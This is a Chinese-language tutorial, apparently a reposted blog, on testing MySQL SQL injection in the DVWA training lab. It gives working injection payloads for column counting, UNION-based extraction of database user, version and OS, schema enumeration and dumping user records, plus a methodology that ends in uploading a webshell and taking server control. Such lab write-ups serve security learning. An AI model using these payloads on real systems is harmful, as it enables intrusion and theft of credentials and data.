SQL注入之DVWA平台測試mysql注入


SQL注入之DVWA平台測試mysql注入

今天主要針對mysql常用注入語句進行測試。

測試環境與工具:

測試平台:DVWA,下載地址:http://down.51cto.com/data/875088,也可下載metaspolit-table2虛擬機,里面已經部署好了dvwa.。

滲透工具:burpsuite-1.4.07下載地址:http://down.51cto.com/data/875103

    首先我們介紹下DVWA和Burpsuite,DVWA這是一個php+mysql平台構建的預置web常見漏洞的滲透練習平台。能夠幫助web應用安全研究人員很好了解web漏洞。Burpsuite是一款功能強大的web滲透測試工具。 

    SQL注入漏洞在OWASP TOP 10威脅中,一直排名第一,安全威脅可見一斑。SQL注入滲透測試過程中,針對不同的數據庫平台,注入語句選擇也不同,本篇筆者主要測試mysql注入的常用語句以及滲透思路。

登錄訪問DVWA,默認用戶名:admin密碼:password.

登錄之后,將 dvwa 的安全級別調成 low,low 代表安全級別最低,存在較容易測試的漏洞

 

1、找到 SQl Injection  選項,測試是否存在注入點,這里用戶交互的地方為表單,這也是常見的 SQL 注入漏洞存在的地方。 正常測試,輸入 1 ,可以得到如下結果

當將輸入變為“'”時,頁面提示錯誤“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1”,
結果如圖。看到這個結果,我們可以欣慰的知道,這個表單存在着注入漏洞。

2、嘗試遍歷數據庫表,由於用戶輸入的值為 ID ,因此我們習慣判斷這里的注入類型為數字型,因此嘗試輸入: 1 or 1=1  ,

 看能否把數據庫表中的內容遍歷出來。可是結果如下,並沒有顯示出所有信息


 

於是猜測,是否后台應用程序將此值看做了字符型,於是輸入: 1'or'1'='1 , 結果,遍歷出了數據庫中的所有內容,

如果是重要數據庫表,可能這個信息已經對於攻擊者,有了足夠意義:如圖

1'or'1'='1

3、測試查詢信息列數。利用語句 order by num 

這里我們輸入  "  1'order by 1 --  "(只需要輸入引號以內,不加引號,以下皆是) 結果頁面正常顯示,注意-- 后面有空格。繼續測試, "  1'order by 2 --  ", "  1'order by 3 --  ", 

當輸入3是,頁面報錯。頁面錯誤信息如下, Unknown column '3' in 'order clause',由此我們判斷查詢結果值為2列。

1'order by 1 --

1'order by 3 --

Unknown column '3' in 'order clause'

4、通過得到連接數據庫賬戶信息、數據庫名稱、數據庫版本信息。利用user(),及database(),version()等三個內置函數。

這里嘗試注入 “ 1' and 1=2 union select 1,2 --  ”結果如下

1' and 1=2 union select 1,2 -- 

從而得出First name處顯示結果為查詢結果第一列的值,surname處顯示結果為查詢結果第二列的值,

利用內置函數user(),及database(),version()注入得出連接數據庫用戶以及數據庫名稱:

1' and 1=2 union select user(),database()  -- 

連接數據庫的用戶為 root@localhost ,數據庫名稱為dvwa,進一步利用函數version(),嘗試得到版本信息,

 “ 1' and 1=2 union select version(),database()  --  ”便得到了版本信息,

1' and 1=2 union select version(),database()  -- 

5、獲得操作系統信息。

"1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- "

6、測試連接數據庫權限:

"1' and ord(mid(user(),1,1))=114 -- "
返回正常說明為root

7、查詢mysql數據庫,所有數據庫名字:這里利用mysql默認的數據庫infromation_scehma,該數據庫存儲了Mysql所有數據庫和表的信息。

"1' and 1=2 union select 1,schema_name from information_schema.schemata -- "

8、猜解dvwa數據庫中的表名。利用1‘ and exists(select * from 表名),此處表名猜解可以通過brupsuit掛字典猜解。這里測試的結果,表名為users,burpsuite如何自動注入,在稍后文章進一步介紹。這里猜解表名,在真實滲透測試環境中,攻擊者往往關心存儲管理員用戶與密碼信息的表。

"1' and exists(select * from users) -- "

9、猜解字段名:1' and exists(select 表名 from users) -- ,這里測試的字段名有first_name,last_name

"1' and exists(select first_name from users) -- "
ID: 1' and exists(select last_name from users) --

10、爆出數據庫中字段的內容 "1' and 1=2 union select first_name,last_name from users --  ",這里其實如果是存放管理員賬戶的表,那么用戶名,密碼信息字段就可以爆出來了。

 

以上是筆者根據dvwa平台sql injection漏洞對mysql常用語句所做的測試。這里我們可以大致總結滲透的一般思路:

1、尋找注入點,可以通過web掃描工具實現

2、通過注入點,嘗試獲得關於連接數據庫用戶名、數據庫名稱、連接數據庫用戶權限、操作系統信息、數據庫版本等相關信息。

3、猜解關鍵數據庫表及其重要字段與內容(常見如存放管理員賬戶的表名、字段名等信息)

4、可以通過獲得的用戶信息,尋找后台登錄。

5、利用后台或了解的進一步信息,上傳webshell或向數據庫寫入一句話木馬,以進一步提權,直到拿到服務器權限。

今天筆者只在dvwa平台現有環境下,簡單測試了mysql幾個常用注入語句:

1' order by 2 --   /*用來猜解查詢信息的列數

1' and 1=2 union select user(),database(),-- 

1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函數獲得數據庫信息

1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*獲得操作系統信息1' and ord(mid(user(),1,1))=114 --  /*測試連接數據庫用戶權限

1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有數據庫名稱1' and exists(select * from users) -- /*猜解表名

1' and exists(select first_name from users) -- /猜解字段名

1' and 1=2 union select first_name,last_name from users -- /*猜解字段內容


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM